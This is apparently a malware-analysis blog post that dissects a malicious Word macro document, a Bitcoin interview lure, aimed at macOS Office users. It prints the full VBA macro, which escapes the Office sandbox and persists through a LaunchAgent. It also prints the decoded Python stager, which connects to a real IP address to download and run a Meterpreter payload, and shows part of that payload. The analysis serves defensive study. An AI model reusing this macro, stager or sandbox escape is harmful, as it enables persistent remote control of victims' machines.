📝 👾 Want to play along?
I’ve shared the malicious document (password: infect3d) …don’t infect yourself!
In this blog post, we’ll detail how analyze a Word document that we suspect contains malicious logic.
Specifically we’ll detail:
Earlier this week I was tagged in a tweet from John Lambert (a “Distinguished Engineer” at Microsoft’s Threat Intelligence Center):
This #bitcoin interview lure macro doc does not infect any version of Office for Windows. Why? It is targeting MacOffice.
— John Lambert (@JohnLaTwC) December 3, 2018
When you see libc.dylib, system, and plist, you know the macro is up to no good.
▪️https://t.co/fUdSaFFQxq (🙏@patrickwardle)
▪️https://t.co/8NWocQoAAw pic.twitter.com/sSb2dvxmru
According to said tweet, John had discovered a Word document (BitcoinMagazine-Quidax_InterviewQuestions_2018.docm
) that was maliciously targeting Mac users:
“This #bitcoin interview lure macro doc does not infect any version of Office for Windows. Why? It is targeting MacOffice.”
…I was intrigued 😀
Let’s grab the sample from VirusTotal …noting that even now, only 5 engines detect the file as malicious:
Once we confirm (via the file
command), that yes this indeed a Word document, our analysis can commence:
$ file BitcoinMagazine-Quidax_InterviewQuestions_2018.docm BitcoinMagazine-Quidax_InterviewQuestions_2018.docm: Microsoft Word 2007+
Word documents created by recent versions of Microsoft Office, are actually compressed archives (containing XML
files) - meaning that we can “unzip” the document to view its contents.
$ unzip BitcoinMagazine-Quidax_InterviewQuestions_2018.docm Archive: BitcoinMagazine-Quidax_InterviewQuestions_2018.docm inflating: [Content_Types].xml inflating: _rels/.rels inflating: word/_rels/document.xml.rels inflating: word/document.xml inflating: word/vbaProject.bin inflating: word/theme/theme1.xml inflating: word/settings.xml inflating: word/styles.xml inflating: docProps/core.xml inflating: docProps/app.xml inflating: word/numbering.xml inflating: word/webSettings.xml inflating: word/fontTable.xml
The presence of the vbaProject.bin
file indicates that yes, the Word document in question contains macros (as John noted in his tweet).
In a previous blog “New Attack, Old Tricks”, we noted that “VBA macros [in a Word Document] are usually stored in a binary OLE file within the compressed archive, called vbaProject.bin”
As the vbaProject.bin
a binary OLE file, we need some way to extract the embedded macros. Previously the Mac malware analyst extraordinaire, @noar, showed me that one can utilize clamAV’s sigtool
to extract embedded macros. Sweet!
If you have homebrew installed, you can install clamAV via the following:
$ brew install clamav
…this will install sigtool in /usr/local/bin/
Executing sigtool
with the --vba
flag, extracts the embedded macros from the word/vbaProject.bin
file:
$ sigtool --vba word/vbaProject.bin -------------- start of code ------------------ Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True -------------- end of code ------------------ -------------- start of code ------------------ Attribute VB_Name = "NewMacros" Private Declare PtrSafe Function system Lib "libc.dylib" Alias "popen" (ByVal command As String, ByVal mode As String) As LongPtr Private Sub Document_Open() Dim path As String Dim payload As String payload = "import base64,sys;exec(base64.b64decode({2:str,3:lambda ... }[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ" & _ "1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29" & _ "ubmVjdCgoJzEwOS4yMDIuMTA3LjIwJyw5NjIyKSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWN" & _ "rKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')));" path = Environ("HOME") & "/../../../../Library/LaunchAgents/~$com.xpnsec.plist" arg = "<?xml version=""1.0"" encoding=""UTF-8""?>\n" & _ "<!DOCTYPE plist PUBLIC ""-//Apple//DTD PLIST 1.0//EN"" ""http://www.apple.com/DTDs/PropertyList-1.0.dtd"">\n" & _ "<plist version=""1.0"">\n" & _ "<dict>\n" & _ "<key>Label</key>\n" & _ "<string>com.xpnsec.sandbox</string>\n" & _ "<key>ProgramArguments</key>\n" & _ "<array>\n" & _ "<string>python</string>\n" & _ "<string>-c</string>\n" & _ "<string>" & payload & "</string>" & _ "</array>\n" & _ "<key>RunAtLoad</key>\n" & _ "<true/>\n" & _ "</dict>\n" & _ "</plist>" Result = system("echo """ & arg & """ > '" & path & "'", "r") 'Result = system("launchctl bootout gui/$UID", "r") End Sub -------------- end of code ------------------
First, note the Private Sub Document_Open()
snippet. According to Microsoft, the Document.Open
event “occurs when a document is opened”. To illustrate this, Microsoft provides a snippet of code that will “displays a message when a document is opened.”:
Private Sub Document_Open()
MsgBox "This document is copyrighted."
End Sub
Ok, so the Visual Basic macro code within the in the Document_Open()
subroutine will be executed when the malicious Word document, BitcoinMagazine-Quidax_InterviewQuestions_2018.docm
, is opened (assuming the user has enabled or allowed macros).
So what does the code in the Document_Open()
subroutine do?
payload
.path
to a launch agent plist…in a rather interesting manner.com.xpnsec.plist
) saving this into a variable named arg
.system
command.launchctl bootout gui/$UID
.If you’re an avid reader of Objective-See’s blog posts, this rather convoluted logic might seem rather familiar. Why? Well in a guest blog post, “Escaping the Microsoft Office Sandbox”, Adam Chester wrote about an elegant way for malicious Word documents to escape the restrictions of Word’s sandbox, via a faulty regex. Rather prophetically he stated, “Of course you are free to offload the sandbox escape into your VBA [macros]” …which is exactly what the attackers did! 🤣 In order words, they blatantly copied the PoC sandbox escape code!
Due to Word’s sandbox, macro code within a malicious document is not supposed to be able to perform actions such as persisting!
However, due to Adam’s elegant sandbox bypass, such restrictions are moot (though Word may now be patched).
Of course, our attackers likely customized the payload (stored in the payload
variable). Since it’s (base64
) encoded, lets pop into a Python shell and decode it:
$ python >>> import base64 >>> payload = "aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5n...30pCg==" >>> base64.b64decode(payload) "import socket,struct,time\nfor x in range(10):\n\ttry:\n\t\ts=socket.socket(2,socket.SOCK_STREAM)\n\t\ts.connect(('109.202.107.20',9622))\n\t\tbreak\n\texcept:\n\t\ttime.sleep(5)\nl=struct.unpack('>I',s.recv(4))[0]\nd=s.recv(l)\nwhile len(d)<l:\n\td+=s.recv(l-len(d))\nexec(d,{'s':s})\n"
…as expected python! Lets clean it up a bit:
import socket, struct, time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('109.202.107.20',9622))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})
Others such as David Ledbetter and @noar also extracted and/or posted this payload.
The decoded python payload should be fairly self-explanatory, but let’s quickly summarize what it does (again recalling it will be execute when the malicious Word document is opened)
109.202.107.20
on port 9622
…10 timesWondering what this 2nd-stage payload is? Me too! Let’s run the 1st-stage payload (the aforementioned python) and see what it gives us.
I slightly modified the downloader code to print out the 2nd-stage payload instead of executing it:
#don't exec
#exec(d,{'s':s})
#print out
print d
$ python download.py #!/usr/bin/python import binascii import code import os import platform ... try: import ctypes except ImportError: has_windll = False else: has_windll = hasattr(ctypes, 'windll') ... #@export class MeterpreterChannel(object): def core_close(self, request, response): self.close() return ERROR_SUCCESS, response ... #@export class MeterpreterFile(MeterpreterChannel): def __init__(self, file_obj): self.file_obj = file_obj super(MeterpreterFile, self).__init__() ... #@export class MeterpreterProcess(MeterpreterChannel): def __init__(self, proc_h): ...
First, turns out the server at 109.202.107.20
is still up…and is happy to serve up the 2nd-stage payload!
As noted by MalwareByte’s Adam Thomas, this IP address is known to serve up malicious content.
For more details on this IP address, head over to its VirusTotal page.
Skimming over the downloaded (python) code (that comprises the 2nd-stage payload), it’s pretty easy to see that the attackers are using Metasploit’s “Meterpreter” payload. This affords them a feature-rich in-memory payload allowing them perform a wide-range of malicious activities (think arbitrary commands, file exfil, etc.).
You can read more about Meterpreter here.
Today, we analyzed a malicious Word document (mahalo again to John Lambert for uncovering and tweeting about this sample).
After extracting the embedded macros, we decoded the 1st-stage payload and used that to retrieve the attacker’s 2nd-stage payload…which turned out to be Meterpreter.
🎥 If you’re interested in seeing this analysis in action, check out the following clip from my most-recent live-streaming session: